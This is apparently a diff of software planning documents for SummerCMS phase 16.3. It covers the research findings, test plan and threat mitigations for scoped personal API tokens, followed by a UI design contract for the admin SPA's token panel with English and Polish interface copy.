||||
| Dependency | Required By | Available | Version | Fallback |
|
||||
|------------|------------|-----------|---------|----------|
|
||||
| Go | all Go code | ✓ | go1.27.0 | — |
|
||||
| Node | admin SPA build/tests | ✓ | v22.23.2 (engines `>=22.6`) | — |
|
||||
| npm | admin deps | ✓ | 12.0.2 | — |
|
||||
| Docker daemon | testcontainers Postgres suites (cabana auth/account harness `adminHandler`, lagoon migration tests, Journal admin harness) | ✗ in this sandbox (`permission denied while trying to connect to the docker API at unix:///var/run/docker.sock`) | client 29.7.2 | Run Postgres stages on a Docker host; Docker-free unit tests (Allows, scope cover, mint/format, CLI arg parsing, inventories) run anywhere |
|
||||
|
||||
**Missing dependencies with no fallback:** none for planning; executors need a Docker host for the Postgres stages (as in every earlier phase gate).
|
||||
|
||||
## Validation Architecture
|
||||
|
||||
### Test Framework
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Framework | Go `testing` (+ testcontainers-go Postgres for DB suites); vitest 3.2.7 + @vue/test-utils + happy-dom for the SPA |
|
||||
| Config file | `admin/vitest.config.ts` (`include: ['tests/**/*.test.ts']`, setup `tests/setup.ts`) |
|
||||
| Quick run command | `go test ./modules/cabana ./modules/bouncer ./modules/pact -run 'Token|Scope|Allows' -count=1` |
|
||||
| Full suite command | `go vet ./... && go test ./... && npm --prefix admin test && (cd ../sm-journal-plugin && go vet ./... && go test ./...)` |
|
||||
|
||||
### Phase Requirements → Test Map
|
||||
| Req ID | Behavior | Test Type | Automated Command | File Exists? |
|
||||
|--------|----------|-----------|-------------------|-------------|
|
||||
| SC-1 | `g15_` Bearer authenticates; JWT and cookie unchanged; malformed/expired/revoked/deactivated/soft-deleted → 401; cookie or query `g15_` ignored | unit + Postgres | `go test ./modules/cabana -run TestBackendToken -count=1` | ❌ Wave 0 |
|
||||
| SC-2 | `Allows` matrix: scope × owner × superuser × empty list × method; non-`Allows` route gates; interactive-only routes refuse `*` | unit (Docker-free) | `go test ./modules/cabana -run 'TestAllowsScope|TestTokenRouteGates|TestInteractiveOnly' -count=1` | ❌ Wave 0 |
|
||||
| SC-2 | scope cover incl. wildcard-vs-wildcard, overlap rule | unit | `go test ./modules/cabana -run TestScopeCover -count=1` | ❌ Wave 0 |
|
||||
| SC-2 | boot fails on duplicate/reserved/invalid scope, unknown permission, missing phrase key | unit | `go test ./modules/cabana -run TestTokenScopeCompile -count=1` | ❌ Wave 0 |
|
||||
| SC-3 | account token API: list/create/revoke/scopes, 422 details, own-only revoke, plaintext once | Postgres | `go test ./modules/cabana -run TestAccountTokens -count=1` | ❌ Wave 0 |
|
||||
| SC-3 | route inventories + OpenAPI | unit | `go test ./modules/cabana -run 'TestPhase09PermissionMatrix|TestPhase09ContractInventory|TestPhase10ConformanceInventory' -count=1` and `bash scripts/check-admin-openapi.sh --check` | ✅ (update) |
|
||||
| SC-3 | CLI: create stdout exactly the token; list; revoke; scopes; overlap 422-equivalent errors | Postgres | `go test ./modules/cabana -run TestTokenCommands -count=1` | ❌ Wave 0 |
|
||||
| SC-3 | SPA panel: states, show-once, clipboard fallback, close-without-copy, plaintext cleared | vitest | `npm --prefix admin test -- tests/components/ApiTokensPanel.test.ts` | ❌ Wave 0 |
|
||||
| SC-3 | migration up/down, last-ID test updated | Postgres | `go test ./modules/lagoon -run TestBackendAdmin -count=1` | ✅ (update) |
|
||||
| SC-4 | Journal: `journal` token writes; `journal:read` POST → 403 Journal body; unrelated scope → 403/anon; JWT path unchanged; code-declared role grant now honored | Postgres | `(cd ../sm-journal-plugin && go test . -run TestJournalToken -count=1)` | ❌ Wave 0 |
|
||||
| SC-5 | docs identifiers, commands, snippets | unit | `go test ./cmd/summer -run TestDocsTree -count=1` | ✅ |
|
||||
| SC-5 | SPA dist drift | script | `bash scripts/check-admin-dist.sh` | ✅ |
|
||||
|
||||
### Sampling Rate
|
||||
- **Per task commit:** quick run command plus `go vet ./...`.
|
||||
- **Per wave merge:** full suite; Postgres suites on a Docker host.
|
||||
- **Phase gate:** a `scripts/check-phase16.3.sh` following the 16.2 gate's stage pattern (go, admin, docs, postgres; fail on skips or zero tests), green before `/msd-verify-work`.
|
||||
|
||||
### Wave 0 Gaps
|
||||
- [ ] `modules/cabana/token_*_test.go` — Allows/scope cover/compile/guard/inventory classification (Docker-free)
|
||||
- [ ] `modules/cabana/account_tokens_test.go` — API via the existing `adminHandler(t, gdb, mutate)` harness (auth_test.go:367)
|
||||
- [ ] `modules/cabana/commands_test.go` additions — token commands (stdout purity)
|
||||
- [ ] `admin/tests/components/ApiTokensPanel.test.ts` — UI-SPEC backstops (plaintext never retained, clipboard flow, close guard)
|
||||
- [ ] `../sm-journal-plugin/journal_api_tokens_test.go` — via `newPostsEnv`
|
||||
- [ ] `scripts/check-phase16.3.sh`
|
||||
|
||||
## Security Domain
|
||||
|
||||
### Applicable ASVS Categories
|
||||
|
||||
| ASVS Category | Applies | Standard Control |
|
||||
|---------------|---------|-----------------|
|
||||
| V2 Authentication | yes | 160-bit CSPRNG secret, sha256 at rest, format check before lookup, expiry, soft revoke, owner activation check |
|
||||
| V3 Session Management | yes | Tokens are not sessions: interactive-only routes (account, tokens, logout/refresh) refuse them; JWT cutoff unaffected (D-10) |
|
||||
| V4 Access Control | yes | Owner ∩ scope in `Allows`; method filter in guard; resolver cover check; superuser limited by scope |
|
||||
| V5 Input Validation | yes | Name trim/length, expiry enum or date, scope names against the compiled catalog (422) |
|
||||
| V6 Cryptography | yes | stdlib `crypto/rand`, `crypto/sha256`, `crypto/subtle`; nothing hand-rolled |
|
||||
| V7 Error Handling and Logging | yes | Never log plaintext or Authorization; log token id and admin id on denial via `logAuth` |
|
||||
|
||||
### Known Threat Patterns for this stack
|
||||
|
||||
| Pattern | STRIDE | Standard Mitigation |
|
||||
|---------|--------|---------------------|
|
||||
| Leaked token mints more tokens or changes password | Elevation of privilege | Interactive-only marker on account and token routes (D-06) |
|
||||
| Scoped token reaches unscoped route | Elevation of privilege | Deny-by-default in `Allows`; explicit gates on non-`Allows` routes; resolver cover |
|
||||
| Superuser token escapes scope | Elevation of privilege | Scope evaluated before the superuser shortcut |
|
||||
| Token via cookie/query (CSRF, referrer leak) | Spoofing / Info disclosure | Bearer header only (D-13) |
|
||||
| Timing oracle on hash compare | Info disclosure | Indexed equality on sha256 + constant-time compare after fetch |
|
||||
| Plaintext persisted in browser | Info disclosure | Component-local state only, cleared on close/unmount (UI-SPEC §5) |
|
||||
| DB dump reveals usable tokens | Info disclosure | Only sha256 stored; hint is 4 chars |
|
||||
| Write amplification (stamp per request) | DoS | Per-minute debounce |
|
||||
| Dead owner keeps access | Elevation of privilege | Fresh `FindByID` per request (D-10) |
|
||||
|
||||
## Sources
|
||||
|
||||
### Primary (HIGH confidence — read this session)
|
||||
- `modules/bouncer/{guard.go,context.go,registry.go,jwt.go}` — guard interfaces, Principal, middleware failure path, bearer extraction
|
||||
- `modules/cabana/{http.go,auth.go,contracts.go,account.go,csrf.go,commands.go,registry.go,lang.go,admin_openapi.go,field_type.go,field_markdown.go,messages.go}` — registration, mount, Allows/granted, account handlers, CSRF, CLI, scope-compile precedent
|
||||
- `modules/cabana/{security_coverage_test.go,phase09_contract_test.go,openapi_conformance_test.go,export_test.go}` — route inventories
|
||||
- `modules/lagoon/{backend_admin_migrations.go,backend_admin_migrations_test.go,migrations.go,jsonable.go}`
|
||||
- `modules/pact/capabilities.go`, `modules/party/registry.go`, `modules/bonfire/{command.go,output.go,root.go}`, `modules/surf/router.go`, `modules/wristband/crypto.go`
|
||||
- `cmd/summer/{runtime.go,docs.go}`, `internal/build/build.go`, `docs/services/authentication.md`, `docs/console/{introduction.md,setup-and-maintenance.md}`
|
||||
- `scripts/{check-admin-openapi.sh,check-admin-dist.sh,check-phase16.2.sh}`, `admin/{package.json,vitest.config.ts,src/api/client.ts}`
|
||||
- `../sm-journal-plugin/{controllers/api/auth.go,controllers/api/posts.go,controllers/api/posts_helpers.go,models/post.go,routes.go,admin_permissions.go,plugin.go,admin_harness_test.go,go.mod,go.work}`
|
||||
- `../sm-summercmsio-app/plugins/golem15/user/{middleware/api_token.go,classes/api_tokens.go,models/api_token.go,updates/202610040001_create_api_tokens.go}`
|
||||
- `/media/nvme/dev/golem15/fonoteka/plugins/golem15/apparatus/{models/PersonalApiToken.php,middleware/TokenAuthenticate.php}`
|
||||
- Host `main.go` files in `sm-grzybyfunkcjonalne-app`, `fonoteka.go` (generated, call `cabana.RuntimeCommands(app)`)
|
||||
|
||||
### Secondary / Tertiary
|
||||
- None. No web sources were needed: the phase adds no external dependency and every decision is in-repo.
|
||||
|
||||
## Metadata
|
||||
|
||||
**Confidence breakdown:**
|
||||
- Standard stack: HIGH — stdlib plus already-pinned modules; nothing new.
|
||||
- Architecture: HIGH — every seam read in source; the open choices (CLI plugin access, multi-code reading) are flagged.
|
||||
- Pitfalls: HIGH — each one traced to a file and line this session.
|
||||
|
||||
**Research date:** 2026-10-11
|
||||
**Valid until:** 2026-11-10 (in-repo findings; re-check if cabana auth or Journal auth changes first)
|
||||
|
||||
### Suggested plan split (for the plan-count checkpoint; CLAUDE.md rule 2)
|
||||
1. Framework core: pact `HasTokenScopes`, scope compile + framework scopes, `bouncer.Principal` scope limit, `Allows` rewrite, token table migration (+ fixed migration test), composite guard, interactive-only marker, route gates, published resolver; smoke tests.
|
||||
2. Account token API + swag/OpenAPI regen + route inventories, CLI `admin:token:*` (+ plugin-list access), `summer` delegate rows; smoke tests.
|
||||
3. Admin SPA token panel per UI-SPEC, lang keys, `npm run build` dist commit.
|
||||
4. Journal: scopes + lang, resolver switch, README; framework READMEs (cabana, bouncer, pact, party if changed) and `docs/` pages; framework tag and Journal `go.mod` bump.
|
||||
5. Unit tests (last plan): full coverage across both repos, `scripts/check-phase16.3.sh`.
|
||||
@@ -0,0 +1,367 @@
|
||||
---
|
||||
phase: "16.3"
|
||||
slug: "backend-admin-personal-api-tokens-with-scopes"
|
||||
status: approved
|
||||
reviewed_at: "2026-10-11"
|
||||
shadcn_initialized: false
|
||||
preset: none
|
||||
created: "2026-10-10"
|
||||
---
|
||||
|
||||
# Phase 16.3 — UI Design Contract
|
||||
|
||||
> Visual and interaction contract for frontend phases. Generated by msd-ui-researcher, verified by msd-ui-checker.
|
||||
|
||||
This phase adds one surface to the existing admin SPA (`admin/`): an **API tokens** card on the My account page (`AccountView.vue`, route `/account`). The card lists the signed-in user's own tokens, creates a token in a two-step dialog (form, then show-once plaintext), and revokes tokens (D-16). There is no other screen: no superuser view and no backend-user management screen (deferred). The CLI (`admin:token:*`, D-19) has no visual contract beyond its stdout rule in CONTEXT.md.
|
||||
|
||||
The SPA already has a complete design system: Direction C v2 (`.planning/phases/10-admin-vue-spa/design/README.md`), implemented as Tailwind 4 `@theme` tokens in `admin/src/styles/main.css` and built on Reka UI primitives. **This contract adds no new tokens, colours, fonts, radii or shadows.** Every value below reuses an existing token or copies a class string from an existing component (`AccountView.vue`, `RelationPickerModal.vue`, `ConfirmDialog.vue`, `PermissionEditorField.vue`, `CheckboxField.vue`, `Button.vue`, `control.ts`).
|
||||
|
||||
Sources: 16.3-CONTEXT.md D-06, D-08, D-09, D-11, D-16, D-17, D-18 (locked); Phase 12.2 UI-SPEC (approved house conventions for dialogs, chips, alert blocks, skeletons and copy); the codebase scan listed above; `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` (`myaccount.*`, `form.*`).
|
||||
|
||||
---
|
||||
|
||||
## Design System
|
||||
|
||||
| Property | Value |
|
||||
|----------|-------|
|
||||
| Tool | none (no shadcn; Vue 3 SPA with its own Direction C system; the shadcn gate does not apply to a Vue codebase with an established system, same ruling as Phases 10.1, 12.1, 12.2) |
|
||||
| Preset | not applicable |
|
||||
| Component library | Reka UI 2.9.10 (headless primitives, the Vue port of Radix) plus the local components in `admin/src/components/` |
|
||||
| Icon library | `@lucide/vue` 1.17.0 (named imports only; 16px in buttons and inline notices, 14px in error and note lines, 20px in the empty-state circle) |
|
||||
| Font | DM Sans 400/600/700 (self-hosted `@fontsource/dm-sans`); DM Mono 400 (`font-mono`) for the token plaintext, the token hint and scope names; `tabular-nums` on every date and time |
|
||||
|
||||
---
|
||||
|
||||
## Component Inventory
|
||||
|
||||
Enumerated by `node --input-type=module -e "import * as r from 'reka-ui'; console.log(Object.keys(r).length)"` (run in `admin/`) — 478 exports — reka-ui@2.9.10 — 2026-10-10.
|
||||
Local components enumerated by `find admin/src/components -name '*.vue' | wc -l` — 51 components — summercms-admin@unversioned (private workspace package with no `version` field in `admin/package.json`; pinned by repo commit a04ba35) — 2026-10-10.
|
||||
|
||||
Icon presence verified by `node --input-type=module -e "import * as l from '@lucide/vue'; ..."` (run in `admin/`) against @lucide/vue@1.17.0 on 2026-10-10: `Plus`, `KeyRound`, `Copy`, `Check`, `Ban`, `TriangleAlert`, `CircleAlert`, `Info`, `LoaderCircle`, `X` all exported.
|
||||
|
||||
This table is a **non-exhaustive** list of known-good components for this phase, not a closed allowlist. Checking for another Reka export or local component is the expected path.
|
||||
|
||||
| Component | Import path | Notes |
|
||||
|-----------|-------------|-------|
|
||||
| DialogRoot, DialogPortal, DialogOverlay, DialogContent, DialogTitle, DialogDescription, DialogClose | `reka-ui` | The create-token dialog (both steps). Same parts and classes as `RelationPickerModal.vue`. Verified exported. |
|
||||
| RadioGroupRoot, RadioGroupItem | `reka-ui` | The expiry segmented control. Same segmented classes as `PermissionEditorField.vue`. Verified exported. |
|
||||
| AlertDialog* via ConfirmDialog | `admin/src/components/ui/ConfirmDialog.vue` + `useConfirm` from `confirm.ts` | Revoke confirmation and the "close without copying" confirmation. `AccountView` already mounts one `ConfirmDialog` bound to `useConfirm()`; reuse that instance. Do not build a second confirm. |
|
||||
| Button | `admin/src/components/ui/Button.vue` | Every text button. Variants `primary` / `outline` / `ghost` / `danger`, sizes `md` (42px) / `sm` (38px). |
|
||||
| `controlClass` | `admin/src/components/form/control.ts` | Border, background and padding of the name input and the plaintext input. |
|
||||
| `fieldErrors`, `focusField` | `admin/src/components/form/formState.ts` | Map a 422 `error.details` to field errors and focus the first invalid field (same as `AccountView.onSave`). |
|
||||
| `showToast` | `admin/src/state/useToasts.ts` | `success` toast after revoke; `danger` toasts for failures. Never carries the plaintext. |
|
||||
| `t`, `tc` | `admin/src/app/i18n.ts` | All copy. No literal UI strings in the component. |
|
||||
| `api` (openapi-fetch client) | `admin/src/api/client.ts` | Typed calls to the D-18 endpoints after `npm run gen:api` regenerates `schema.d.ts`; keeps the 401 refresh-and-replay. |
|
||||
| Native checkbox (`size-5 shrink-0 rounded-[6px] accent-primary`) | class string from `CheckboxField.vue` | Scope picker rows and the "Show revoked tokens" toggle. Not a field-registry control: used directly. |
|
||||
|
||||
New code this phase creates (planner names the file): one component, suggested `admin/src/components/account/ApiTokensPanel.vue` (card, list, revoke), with the dialog either inline or in a sibling `ApiTokenCreateDialog.vue`. `AccountView.vue` renders the panel after the profile/password `<form>` and passes it the shared `confirm` from `useConfirm()`.
|
||||
|
||||
---
|
||||
|
||||
## Spacing Scale
|
||||
|
||||
Declared values for new layout in this phase (multiples of 4):
|
||||
|
||||
| Token | Value | Tailwind | Usage |
|
||||
|-------|-------|----------|-------|
|
||||
| xs | 4px | `gap-1` | Label-to-mono-name gap in a scope row; icon-to-text inside chips |
|
||||
| sm | 8px | `gap-2` | Scope chip gap, toggle checkbox-to-label gap, row line gap, plaintext input to copy-row gap, empty-state stack gap |
|
||||
| md | 16px | `gap-4`, `px-4` | Card inner stack gap, row horizontal padding, row column gap, dialog section gap, card header gap |
|
||||
| lg | 24px | `p-6`, `px-6` | Dialog padding; empty-state horizontal padding |
|
||||
| xl | 32px | `py-8` | Empty-state vertical padding |
|
||||
| 2xl | 48px | — | Not used by new components |
|
||||
| 3xl | 64px | — | Not used by new components |
|
||||
|
||||
**Locked user decision (2026-10-11):** these inherited Direction C values are accepted for this phase; any new layout not copied from an existing component uses the 4/8/16/24/32 scale. The user explicitly accepted the 18, 6, 10, 14, 2, 20, 28 and 12px values below (`gap-[18px]`, `gap-1.5`, `gap-2.5`, `py-3.5`, `px-[18px] py-3.5`, `mt-0.5` / `gap-0.5`, `gap-5`, `p-7`, `gap-3` / `py-3`) as locked exceptions. Re-verification treats them as locked, not as defects.
|
||||
|
||||
Exceptions (inherited from Direction C, `AccountView.vue` and `ConfirmDialog.vue`, binding, not new):
|
||||
- card padding 28px (`p-7`) and page stack gap 20px (`gap-5`), copied from the existing account cards;
|
||||
- field stack gap 18px (`gap-[18px]`) inside the dialog form, copied from the account `fieldset`;
|
||||
- label-to-control gap 6px (`gap-1.5`);
|
||||
- footer button gap 10px (`gap-2.5`), copied from `ConfirmDialog`;
|
||||
- row vertical padding 14px (`py-3.5`), copied from the `CheckboxField` toggle card;
|
||||
- alert block padding 14×18 (`px-[18px] py-3.5`), copied from the 12.2 alert block;
|
||||
- segmented control inner padding 4px (`p-1`) and segment height 34px (`h-pager`), copied from `PermissionEditorField`;
|
||||
- scope-row checkbox-to-text gap and dialog header gap 12px (`gap-3`), the same exception 12.2 approved for picker option rows and dialog headers; scope-row vertical padding 12px (`py-3`), copied from the `PermissionEditorField` option rows;
|
||||
- 2px nudges (`mt-0.5` on the scope checkbox and notice icon, `gap-0.5` between error lines), copied from the existing error-line markup. No other off-scale spacing is introduced.
|
||||
|
||||
Fixed component dimensions (sizes, not spacing): 44px inputs (`h-input`), 42px / 38px buttons, 34px dialog close button, 40px empty-state icon circle, 24px chips (`h-6`), 20px checkboxes, 560px dialog max width (`max-w-[560px]`), 56px minimum scope-row height (`min-h-[56px]`), 12px skeleton bars with `rounded-[6px]`.
|
||||
|
||||
---
|
||||
|
||||
## Typography
|
||||
|
||||
New components use exactly four sizes. All inherit DM Sans and the 14px/1.5 base from `html` in `main.css`.
|
||||
|
||||
| Role | Size | Weight | Line Height | Used by |
|
||||
|------|------|--------|-------------|---------|
|
||||
| Body | 14px | 400 | 1.5 | Token name input, toggle label, plaintext input (DM Mono), dialog descriptions, segment labels when checked |
|
||||
| Label | 14px | 600 | 1.5 | Field labels (Name, Expiration, Scopes), token name in a row, scope label in a picker row, empty-state heading, button text (existing `Button`) |
|
||||
| Meta | 13px | 400 | 1.5 | Card comment, row meta line (dates), token hint (DM Mono), scope mono name in the picker, scope description, expiry preview line, error lines, copy status line, unchecked segment labels |
|
||||
| Section heading | 18px | 700 | 1.5 | Card heading "API tokens": the existing `AccountView` card heading class `text-[18px] font-bold`, copied verbatim |
|
||||
| Dialog title | 20px | 700 | 1.2 (`tracking-[-0.01em]`) | Dialog titles: the existing `DialogTitle` class from `RelationPickerModal.vue`, copied verbatim |
|
||||
|
||||
**Locked user decision (2026-10-11):** 700 heading weight inherited from Direction C is accepted for this phase; new content uses 400 and 600 only. The 700 weight appears only on the card heading (`text-[18px] font-bold`) and the dialog title (`DialogTitle` class from `RelationPickerModal.vue`), both copied verbatim. Re-verification treats this as a locked system-level exception, not a defect.
|
||||
|
||||
Weights: new content uses 400 and 600 only. **700 is the inherited, heading-only weight** (card heading and dialog title, both copied verbatim). Chips use 13px/600, the same as the approved 12.2 "Unsaved" chip; no 12px text is introduced. Every date and time uses `tabular-nums`. DM Mono appears only on the plaintext token, the `g15_…a1b2` hint and scope names (`journal:read`, `*`).
|
||||
|
||||
---
|
||||
|
||||
## Color
|
||||
|
||||
All colours are existing CSS variables; light / dark values from `main.css`. Hard-coded hex values are forbidden in new components.
|
||||
|
||||
| Role | Value (light / dark) | Usage |
|
||||
|------|----------------------|-------|
|
||||
| Dominant (60%) | `bg` #f4f6f9 / #111726, `surface` #ffffff / #182033 | Page background; the card, the dialog, inputs, list rows |
|
||||
| Secondary (30%) | `subtle` #f3f5f8 / #1f283d, `border` #e6e9ef / #29334b, `border-strong` #d2d8e2 / #3a4661, `muted` #566175 / #a9b3c6, `skel` #eceff4 / #263049 | Read-only plaintext input fill, segmented control track, scope chips, empty-state circle, row dividers, dashed empty-state border, meta text, skeleton bars |
|
||||
| Accent (10%) | `primary` #22304d / #fcd34d (action colour); `sel` #fdf3cf / #3a3622; `ring` rgba(252,196,40,.55) / rgba(252,211,77,.45) | See reserved list below |
|
||||
| Destructive | `danger` #c62828 / #f58a8a, `danger-soft` #fdf0f0 / #3a1d24 | "Revoke token" row buttons (danger outline), the revoke confirm button, the "Expired" chip, invalid input borders, error lines, alert blocks |
|
||||
|
||||
Accent reserved for (exhaustive for this phase):
|
||||
1. `primary` fill: the single primary button of each dialog step, "Create token" (step 1) and "Done, hide token" (step 2). The page's existing footer Save stays the page's only other primary.
|
||||
2. `primary` checkbox tint (`accent-primary`): checked scope checkboxes and the "Show revoked tokens" checkbox.
|
||||
3. `sel` tint: the show-once notice block in step 2, and nothing else.
|
||||
4. `ring` (3px): focus-visible on every new focusable element (base style), never removed.
|
||||
|
||||
Accent is never used for: the "Create token" button on the card (outline), scope chips, token names, row hover, the checked expiry segment (uses `bg-surface shadow-tab`), icons, or links.
|
||||
|
||||
---
|
||||
|
||||
## Copywriting Contract
|
||||
|
||||
All copy is keyed in `modules/phrasebook/backend/lang/{en,pl}/lang.yaml` under a new `api_tokens:` block (`backend::lang.api_tokens.*`), next to `myaccount:`. Placeholders use `:name` syntax. Polish is the design language; English values follow. Plugin scope labels and descriptions come from the plugin's own phrasebook keys (D-01) and are rendered as delivered by the server.
|
||||
|
||||
### Primary CTAs and key states
|
||||
|
||||
| Element | Copy (EN / PL) |
|
||||
|---------|----------------|
|
||||
| Card heading | `api_tokens.section` "API tokens" / "Tokeny API" |
|
||||
| Card comment | `api_tokens.section_comment` "Tokens let agents and integrations call the admin API as you, limited to the scopes you choose. Treat a token like a password." / "Tokeny pozwalają agentom i integracjom wywoływać API panelu w Twoim imieniu, w granicach wybranych zakresów. Traktuj token jak hasło." |
|
||||
| Card button (opens dialog) | `api_tokens.create` "Create token" / "Utwórz token" (`Plus` icon) |
|
||||
| Primary CTA, dialog step 1 | `api_tokens.create_submit` "Create token" / "Utwórz token"; while busy `api_tokens.creating` "Creating…" / "Tworzenie…" |
|
||||
| Primary CTA, dialog step 2 | `api_tokens.done` "Done, hide token" / "Gotowe, ukryj token" |
|
||||
| Empty state heading | `api_tokens.empty_title` "No API tokens yet" / "Nie masz jeszcze tokenów API" |
|
||||
| Empty state body | `api_tokens.empty_body` "Create a token to let an agent or integration call the admin API as you." / "Utwórz token, aby agent lub integracja mogły wywoływać API panelu w Twoim imieniu." (the card's "Create token" button is the next step) |
|
||||
| Error state (list load failed) | `api_tokens.load_failed` "The tokens could not be loaded. Refresh the page to try again." / "Nie udało się wczytać tokenów. Odśwież stronę, aby spróbować ponownie." |
|
||||
| Error state (scopes load failed, dialog) | `api_tokens.scopes_failed` "The scopes could not be loaded. Close this window and try again." / "Nie udało się wczytać zakresów. Zamknij to okno i spróbuj ponownie." |
|
||||
| Error state (create, non-422) | `api_tokens.create_failed` "The token could not be created. Please try again." / "Nie udało się utworzyć tokenu. Spróbuj ponownie." (danger toast; dialog stays open with input kept) |
|
||||
| Error state (create 422, name) | `api_tokens.name_required` "Enter a name for the token." / "Podaj nazwę tokenu." (server message, rendered verbatim) |
|
||||
| Error state (create 422, scopes empty) | `api_tokens.scopes_required` "Choose at least one scope." / "Wybierz co najmniej jeden zakres." (server message) |
|
||||
| Error state (create 422, scope refused) | `api_tokens.scope_unavailable` "The scope :name is not available to you." / "Zakres :name nie jest dla Ciebie dostępny." (server message, D-17 overlap rule) |
|
||||
| Error state (revoke, non-404) | `api_tokens.revoke_failed` "The token could not be revoked. Please try again." / "Nie udało się unieważnić tokenu. Spróbuj ponownie." (danger toast) |
|
||||
| Error state (revoke 404) | `api_tokens.gone` "This token no longer exists. The list has been refreshed." / "Ten token już nie istnieje. Lista została odświeżona." (danger toast, list reloads) |
|
||||
| Error state (clipboard refused) | `api_tokens.copy_failed` "Could not copy automatically. The token is selected: press Ctrl+C (Cmd+C on a Mac) to copy it." / "Nie udało się skopiować automatycznie. Token jest zaznaczony: naciśnij Ctrl+C (Cmd+C na Macu), aby go skopiować." |
|
||||
|
||||
### Destructive actions
|
||||
|
||||
| Action | Confirmation approach | Copy (EN / PL) |
|
||||
|--------|----------------------|----------------|
|
||||
| Revoke a token (row button) | ConfirmDialog, `danger`, with the revoke request run as the confirm action (`confirm.ask(request, run)`), so the confirm button shows the busy spinner until it settles | Row button: `api_tokens.revoke` "Revoke token" / "Unieważnij token", aria-label `api_tokens.revoke_named` "Revoke token: :name" / "Unieważnij token: :name". Confirm message: `api_tokens.revoke_confirm` "Revoke the token “:name”? Apps and agents using it lose access at once. This cannot be undone." / "Unieważnić token „:name”? Aplikacje i agenci, którzy go używają, natychmiast stracą dostęp. Tej operacji nie można cofnąć." Confirm button: `api_tokens.revoke_submit` "Revoke token" / "Unieważnij token". Success toast: `api_tokens.revoked` "Token revoked" / "Unieważniono token". |
|
||||
| Close step 2 before copying (Esc or the close button, while the token was never copied) | ConfirmDialog, `danger`, rendered above the token dialog | `api_tokens.close_uncopied_confirm` "Close without copying? You won't be able to see this token again." / "Zamknąć bez kopiowania? Tego tokenu nie będzie można już zobaczyć." Confirm button: `api_tokens.close_uncopied_submit` "Close and hide token" / "Zamknij i ukryj token". Cancel keeps the dialog open on step 2. |
|
||||
| Close step 1 with input typed | No dialog: nothing is stored yet and the form is cheap to refill | — |
|
||||
|
||||
### Create dialog copy
|
||||
|
||||
| Element | Copy (EN / PL) |
|
||||
|---------|----------------|
|
||||
| Step 1 title | `api_tokens.create_title` "New API token" / "Nowy token API" |
|
||||
| Step 1 description | `api_tokens.create_description` "Pick a name, an expiry and the scopes this token may use. It never gets more access than your own account." / "Wybierz nazwę, termin ważności i zakresy tokenu. Token nigdy nie ma szerszego dostępu niż Twoje konto." |
|
||||
| Name label / placeholder / comment | `api_tokens.name` "Name" / "Nazwa"; `api_tokens.name_placeholder` "e.g. Blog agent" / "np. Agent bloga"; `api_tokens.name_comment` "Helps you recognise the token in the list." / "Pomoże rozpoznać token na liście." |
|
||||
| Expiration label | `api_tokens.expires` "Expiration" / "Ważność" |
|
||||
| Expiration segments (D-08) | `api_tokens.expires_30` "30 days" / "30 dni"; `api_tokens.expires_90` "90 days" / "90 dni"; `api_tokens.expires_365` "365 days" / "365 dni"; `api_tokens.expires_never` "Never" / "Bez terminu" |
|
||||
| Expiry preview (dated choice) | `api_tokens.expires_on` "Expires on :date." / "Wygasa :date." |
|
||||
| Expiry preview (never) | `api_tokens.expires_never_note` "This token never expires. Revoke it when you no longer need it." / "Ten token nie wygasa. Unieważnij go, gdy przestanie być potrzebny." |
|
||||
| Scopes label | `api_tokens.scopes` "Scopes" / "Zakresy" |
|
||||
| Framework scope `*` (D-04, D-17) | `api_tokens.scope_all` "Full access" / "Pełny dostęp"; `api_tokens.scope_all_description` "Everything you can do in the admin. Your account settings and tokens still need a signed-in session." / "Wszystko, co możesz zrobić w panelu. Ustawienia konta i tokeny nadal wymagają zalogowania." |
|
||||
| Framework scope `admin:read` (D-04) | `api_tokens.scope_admin_read` "Read-only, whole admin" / "Tylko odczyt, cały panel"; `api_tokens.scope_admin_read_description` "View everything you can see in the admin, without making changes." / "Podgląd wszystkiego, co widzisz w panelu, bez wprowadzania zmian." |
|
||||
| Read-only chip (scope whose methods are only GET/HEAD) | `api_tokens.read_only` "Read-only" / "Tylko odczyt" |
|
||||
| Full-access note (when `*` is checked) | `api_tokens.scope_all_includes` "Full access already includes every other scope." / "Pełny dostęp obejmuje wszystkie pozostałe zakresy." |
|
||||
| Step 2 title | `api_tokens.created_title` "Copy your new token" / "Skopiuj nowy token" |
|
||||
| Step 2 notice | `api_tokens.created_notice` "This is the only time the token is shown. Copy it now and store it somewhere safe. If you lose it, revoke it and create a new one." / "Token jest widoczny tylko teraz. Skopiuj go i przechowuj w bezpiecznym miejscu. Jeśli go zgubisz, unieważnij go i utwórz nowy." |
|
||||
| Plaintext input label (sr-only) | `api_tokens.token_label` "New token" / "Nowy token" |
|
||||
| Copy button / copied state | `api_tokens.copy` "Copy token" / "Kopiuj token" (`Copy` icon); after success `api_tokens.copied` "Copied" / "Skopiowano" (`Check` icon) for 2 s |
|
||||
| Copy announcement (polite live region) | `api_tokens.copied_announce` "Token copied to the clipboard." / "Skopiowano token do schowka." |
|
||||
| Dialog dismiss button (step 1) | `api_tokens.create_cancel` "Discard token" / "Odrzuć token" (new key; closes the dialog and discards the typed input; the generic `form.cancel` is not used here) |
|
||||
| Dialog close button aria | existing `form.close` |
|
||||
|
||||
### List copy
|
||||
|
||||
| Element | Copy (EN / PL) |
|
||||
|---------|----------------|
|
||||
| Show-revoked toggle | `api_tokens.show_revoked` "Show revoked tokens" / "Pokaż unieważnione tokeny" |
|
||||
| Meta: created | `api_tokens.created_at` "Created :date" / "Utworzono :date" |
|
||||
| Meta: last used / never | `api_tokens.last_used` "Last used :date" / "Ostatnio użyto :date"; `api_tokens.never_used` "Never used" / "Nieużywany" |
|
||||
| Meta: expiry | `api_tokens.expires_at` "Expires :date" / "Wygasa :date"; `api_tokens.expired_at` "Expired :date" / "Wygasł :date"; `api_tokens.no_expiry` "No expiry" / "Bez terminu ważności" |
|
||||
| Meta: revoked | `api_tokens.revoked_at` "Revoked :date" / "Unieważniono :date" |
|
||||
| State chips | `api_tokens.state_expired` "Expired" / "Wygasły"; `api_tokens.state_revoked` "Revoked" / "Unieważniony" |
|
||||
| Unknown scope chip and tooltip | `api_tokens.unknown_scope` ":name (unknown)" / ":name (nieznany)"; `title` `api_tokens.unknown_scope_hint` "This scope is no longer registered and grants nothing." / "Ten zakres nie jest już zarejestrowany i nic nie przyznaje." |
|
||||
| Hint (aria-label of the mono hint) | `api_tokens.hint` "Token ending in :last4" / "Token kończący się na :last4" |
|
||||
|
||||
